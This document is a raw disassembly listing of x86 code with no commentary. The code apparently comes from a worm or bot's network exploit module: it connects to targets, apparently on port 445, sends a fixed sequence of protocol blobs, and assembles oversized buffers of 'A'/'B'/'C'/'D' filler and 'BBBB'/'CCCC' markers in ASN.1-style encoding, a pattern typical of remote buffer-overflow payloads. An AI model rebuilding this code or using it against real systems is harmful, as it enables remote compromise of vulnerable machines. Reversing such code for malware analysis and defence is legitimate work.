		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_4153F0
		add	esp, 10h
		xor	eax, eax


loc_4039E3:				; CODE XREF: sub_403833+1C8j
		mov	cl, [ebp+eax+var_1CC4]
		mov	[ebp+eax*2+var_4803], bl
		mov	[ebp+eax*2+var_4804], cl
		inc	eax
		cmp	eax, edi
		jl	short loc_4039E3
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_415390
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_415390
		add	esp, 18h
		jmp	short loc_403A88
; ---------------------------------------------------------------------------


loc_403A31:				; CODE XREF: sub_403833+119j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_415390
		mov	esi, offset loc_4257A0
		push	esi
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415B10
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_4153F0
		mov	eax, dword_425F98
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_403A88:				; CODE XREF: sub_403833+1FCj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_415390
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403AC7


loc_403AC0:				; CODE XREF: sub_403833+2BBj
					; sub_403833+2E2j ...
		xor	al, al
		jmp	loc_403C6F
; ---------------------------------------------------------------------------


loc_403AC7:				; CODE XREF: sub_403833+28Bj
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43C56C
		push	ebx
		push	68h
		push	offset dword_425BC0
		push	edi
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43C56C
		push	ebx
		push	0A0h
		push	offset dword_425C30
		push	edi
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43C56C
		cmp	[ebp+arg_C0], ebx
		jz	loc_403BDD
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_425DF0
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_4153F0
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_425E60
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_4153F0
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_425ED8
		push	eax
		call	sub_4153F0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AC0
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43C56C
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403C33
; ---------------------------------------------------------------------------


loc_403BDD:				; CODE XREF: sub_403833+2FAj
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_425CD8
		push	eax
		call	sub_4153F0
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_4153F0
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_425D58
		push	eax
		call	sub_4153F0
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_403C33:				; CODE XREF: sub_403833+3A8j
		push	eax
		push	edi
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AC0
		push	12Ch
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4036D2
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_403C6F:				; CODE XREF: sub_403833+28Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403833	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C74	proc near		; CODE XREF: seg001:00402FB3p
					; seg001:00403E5Dp ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_413F12
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415390
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_43C594
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	dword_43C554
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_43C5D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403D7C
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	dword_43C4FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_403D7C
		push	edi
		push	89h
		push	offset dword_425938
		push	ebx
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D7C
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43C56C
		push	edi
		push	0A8h
		push	offset dword_4259C8
		push	ebx
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D7C
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43C56C
		push	edi
		push	0DEh
		push	offset dword_425A78
		push	ebx
		call	dword_43C5A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D7C
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43C56C
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_403D86
		dec	eax
		jz	short loc_403D83


loc_403D7C:				; CODE XREF: sub_403C74+63j
					; sub_403C74+79j ...
		xor	eax, eax
		jmp	loc_403E1C
; ---------------------------------------------------------------------------


loc_403D83:				; CODE XREF: sub_403C74+106j
		push	edi
		jmp	short loc_403DAA
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_403C74+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403833
		add	esp, 0C4h
		test	al, al
		jnz	short loc_403DCA
		push	1


loc_403DAA:				; CODE XREF: sub_403C74+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403833
		add	esp, 0C4h
		test	al, al
		jz	short loc_403DD1


loc_403DCA:				; CODE XREF: sub_403C74+132j
		mov	[ebp+var_4], 1


loc_403DD1:				; CODE XREF: sub_403C74+154j
		push	ebx
		call	dword_43C5EC
		cmp	[ebp+var_4], 0
		jz	short loc_403E19
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412BD1
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B078
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		lea	eax, dword_427390[eax]
		inc	dword ptr [eax]


loc_403E19:				; CODE XREF: sub_403C74+168j
		xor	eax, eax
		inc	eax


loc_403E1C:				; CODE XREF: sub_403C74+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C74	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402DD1
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C74
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403E72
		test	eax, eax
		jz	short loc_403E75


loc_403E72:				; CODE XREF: seg001:00403E6Cj
		xor	eax, eax
		inc	eax


loc_403E75:				; CODE XREF: seg001:00403E70j
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403E79	proc near		; CODE XREF: sub_4040E5+Ep
					; sub_4040E5+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_403E79	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E83	proc near		; CODE XREF: sub_4040E5+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		push	ebx
		mov	esi, ecx
		call	sub_415BE9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403EB5
		push	ebx
		push	0
		push	edi
		call	sub_415390
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4153F0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_403EB5:				; CODE XREF: sub_403E83+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403E83	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403EBD	proc near		; CODE XREF: sub_403FAF+18p
					; sub_404029+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		mov	ecx, [ebp+arg_C]
		push	esi
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_403F09
		push	edi
		push	0
		push	esi
		call	sub_415390
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4153F0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4153F0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_403F09:				; CODE XREF: sub_403EBD+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403EBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F12	proc near		; CODE XREF: sub_403FAF+5Ep
					; sub_403FAF+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_403F22
		push	eax
		call	sub_415C9B
		pop	ecx


loc_403F22:				; CODE XREF: sub_403F12+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_403F12	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F2B	proc near		; CODE XREF: sub_403FAF+20p
					; sub_40408A+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_403F55
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		lea	ebx, [ebx+ebx+1]
		add	eax, ebx
		push	eax
		call	sub_415BE9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403F59


loc_403F55:				; CODE XREF: sub_403F2B+Dj
		xor	al, al
		jmp	short loc_403FAB
; ---------------------------------------------------------------------------


loc_403F59:				; CODE XREF: sub_403F2B+28j
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		push	0
		push	edi
		call	sub_415390
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403F79
		mov	al, [esi+4]
		mov	[edi], al
		lea	eax, [edi+1]
		jmp	short loc_403F8E
; ---------------------------------------------------------------------------


loc_403F79:				; CODE XREF: sub_403F2B+42j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		lea	eax, [edi+3]


loc_403F8E:				; CODE XREF: sub_403F2B+4Cj
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	eax
		call	sub_4153F0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415C9B
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_403FAB:				; CODE XREF: sub_403F2B+2Cj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FAF	proc near		; CODE XREF: sub_4040E5+89p
					; sub_4040E5+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_43B198
		call	sub_403EBD
		lea	ecx, [ebp+var_8]
		call	sub_403F2B
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415BE9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403FE9
		xor	al, al
		jmp	short loc_404025
; ---------------------------------------------------------------------------


loc_403FE9:				; CODE XREF: sub_403FAF+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415390
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4153F0
		add	esp, 18h
		mov	ecx, esi
		call	sub_403F12
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_403F12
		mov	al, 1


loc_404025:				; CODE XREF: sub_403FAF+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403FAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404029	proc near		; CODE XREF: sub_40405D+14p
					; sub_40407A+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403EBD
		mov	ecx, esi
		call	sub_403F12
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_404029	endp


; =============== S U B	R O U T	I N E =======================================



sub_40405D	proc near		; CODE XREF: sub_4040E5+F0p
					; sub_4040E5+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_415B10
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_404029
		pop	esi
		retn	4
sub_40405D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40407A	proc near		; CODE XREF: sub_4040C6+Bp
					; sub_4040E5+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_404029
		retn	8
sub_40407A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40408A	proc near		; CODE XREF: sub_4040C6+16p
					; sub_4040E5+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_403F2B
		test	al, al
		jz	short loc_4040C3
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	(offset	loc_426447+1)
		call	sub_403EBD
		mov	ecx, esi
		call	sub_403F12
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_4040C3:				; CODE XREF: sub_40408A+Fj
		pop	esi
		leave
		retn
sub_40408A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4040C6	proc near		; CODE XREF: sub_4040E5+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40407A
		test	al, al
		jz	short loc_4040E1
		mov	ecx, esi
		call	sub_40408A


loc_4040E1:				; CODE XREF: sub_4040C6+12j
		pop	esi
		retn	8
sub_4040C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E5	proc near		; CODE XREF: seg001:0040495Cp

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_403E79
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_404429
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_404429
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_403E79
		lea	ecx, [ebp+var_20]
		call	sub_403E79
		lea	ecx, [ebp+var_50]
		call	sub_403E79
		lea	ecx, [ebp+var_18]
		call	sub_403E79
		lea	ecx, [ebp+var_40]
		call	sub_403E79
		lea	ecx, [ebp+var_38]
		call	sub_403E79
		lea	ecx, [ebp+var_28]
		call	sub_403E79
		push	4
		push	offset dword_4260DC
		lea	ecx, [ebp+var_30]
		call	sub_404029
		push	3
		push	offset dword_4260E4
		lea	ecx, [ebp+var_30]
		call	sub_404029
		lea	ecx, [ebp+var_30]
		call	sub_403FAF
		lea	ecx, [ebp+var_30]
		call	sub_40408A
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_404029
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_404029
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_404029
		lea	ecx, [ebp+var_20]
		call	sub_403FAF
		push	offset loc_426470
		lea	ecx, [ebp+var_50]
		call	sub_40405D
		lea	ecx, [ebp+var_50]
		call	sub_403FAF
		push	esi
		lea	eax, [ebp+var_858]
		push	44h
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_58]
		push	410h
		push	eax
		call	sub_403E83
		lea	ecx, [ebp+var_58]
		call	sub_403FAF
		push	[ebp+var_54]
		lea	ecx, [ebp+var_50]
		push	[ebp+var_58]
		call	sub_4040C6
		lea	ecx, [ebp+var_58]
		call	sub_403F12
		push	esi
		lea	eax, [ebp+var_858]
		push	43h
		push	eax
		call	sub_415390
		add	esp, 0Ch
		push	offset aCccc	; "CCCC"
		lea	ecx, [ebp+var_18]
		call	sub_40405D
		push	4
		push	offset dword_4260E8
		lea	ecx, [ebp+var_18]
		call	sub_404029
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		push	[ebp+arg_4]
		call	sub_404029
		sub	edi, [ebp+arg_8]
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_18]
		push	edi
		push	eax
		call	sub_404029
		lea	ecx, [ebp+var_18]
		call	sub_403FAF
		push	[ebp+var_14]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_18]
		call	sub_40407A
		push	[ebp+var_4C]
		lea	ecx, [ebp+var_40]
		push	[ebp+var_50]
		call	sub_40407A
		lea	ecx, [ebp+var_40]
		call	sub_40408A
		lea	ecx, [ebp+var_18]
		call	sub_403F12
		lea	ecx, [ebp+var_50]
		call	sub_403F12
		push	[ebp+var_1C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_20]
		call	sub_40407A
		push	[ebp+var_2C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_30]
		call	sub_40407A
		push	[ebp+var_3C]
		lea	ecx, [ebp+var_38]
		push	[ebp+var_40]
		call	sub_40407A
		lea	ecx, [ebp+var_38]
		call	sub_40408A
		lea	ecx, [ebp+var_20]
		call	sub_403F12
		lea	ecx, [ebp+var_30]
		call	sub_403F12
		lea	ecx, [ebp+var_40]
		call	sub_403F12
		push	esi
		lea	eax, [ebp+var_858]
		push	41h
		push	eax
		call	sub_415390
		add	esp, 0Ch
		lea	eax, [ebp+var_858]
		lea	ecx, [ebp+var_28]
		push	400h
		push	eax
		call	sub_404029
		lea	ecx, [ebp+var_28]
		call	sub_403FAF
		push	2
		push	offset dword_426464
		lea	ecx, [ebp+var_28]
		call	sub_404029
		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40407A
		lea	ecx, [ebp+var_28]
		call	sub_40408A
		lea	ecx, [ebp+var_38]
		call	sub_403F12
		lea	ecx, [ebp+var_10]
		call	sub_403E79
		lea	ecx, [ebp+var_8]
		call	sub_403E79
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40407A
		lea	ecx, [ebp+var_10]
		call	sub_403F2B
		lea	ecx, [ebp+var_28]
		call	sub_403F12
		push	offset dword_426460
		lea	ecx, [ebp+var_8]
		call	sub_40405D
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40407A
		lea	ecx, [ebp+var_8]
		call	sub_403F2B
		lea	ecx, [ebp+var_10]
		call	sub_403F12
		push	offset dword_42645C
		lea	ecx, [ebp+var_10]
		call	sub_40405D
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40407A
		lea	ecx, [ebp+var_10]
		call	sub_403F2B
		lea	ecx, [ebp+var_8]
		call	sub_403F12
		push	offset dword_426450
		lea	ecx, [ebp+var_8]
		call	sub_40405D
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40407A
		lea	ecx, [ebp+var_8]
		call	sub_403F2B
		lea	ecx, [ebp+var_10]
		call	sub_403F12
		push	offset dword_42644C
		lea	ecx, [ebp+var_48]
		call	sub_40405D
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40407A
		lea	ecx, [ebp+var_8]
		call	sub_403F12
		pop	esi


loc_404429:				; CODE XREF: sub_4040E5+1Bj
					; sub_4040E5+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	edi
		pop	ebx
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		leave
		retn
sub_4040E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40443B	proc near		; CODE XREF: sub_4044FF+A2p
					; sub_4044FF+C7p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		mov	esi, [ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		xor	edi, edi
		push	eax
		lea	eax, [esi+1]
		inc	edi
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	dword_4211D4	; select
		cmp	eax, edi
		jnz	short loc_4044A2
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_420A06	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4044A6


loc_4044A2:				; CODE XREF: sub_40443B+54j
		xor	eax, eax
		jmp	short loc_4044B6
; ---------------------------------------------------------------------------


loc_4044A6:				; CODE XREF: sub_40443B+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_43C56C


loc_4044B6:				; CODE XREF: sub_40443B+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40443B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044BA	proc near		; CODE XREF: sub_4044FF+80p
					; sub_4044FF+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	dword_43C550
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43C5A4
		cmp	eax, 4
		jz	short loc_4044E4
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_4044E4:				; CODE XREF: sub_4044BA+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_43C5A4
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4044BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044FF	proc near		; CODE XREF: sub_4045DE+48p
					; seg001:00404A4Dp

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415BE9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_404528
		xor	al, al
		jmp	loc_4045D9
; ---------------------------------------------------------------------------


loc_404528:				; CODE XREF: sub_4044FF+20j
		push	ebx
		push	0
		push	esi
		call	sub_415390
		push	2Fh
		push	offset dword_426178
		push	esi
		call	sub_4153F0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_4261A8
		push	eax
		mov	[esi+2Fh], di
		call	sub_4153F0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4153F0
		push	6
		add	ebx, edi
		push	offset dword_43B190
		push	ebx
		call	sub_4153F0
		push	85h
		push	offset dword_4260F0
		push	[ebp+arg_0]
		call	sub_4044BA
		add	esp, 48h
		test	al, al
		jnz	short loc_40458F


loc_40458B:				; CODE XREF: sub_4044FF+B8j
		xor	bl, bl
		jmp	short loc_4045D0
; ---------------------------------------------------------------------------


loc_40458F:				; CODE XREF: sub_4044FF+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40443B
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_4044BA
		add	esp, 1Ch
		test	al, al
		jz	short loc_40458B
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_40443B
		add	esp, 10h
		mov	bl, 1


loc_4045D0:				; CODE XREF: sub_4044FF+8Ej
		push	esi
		call	sub_415C9B
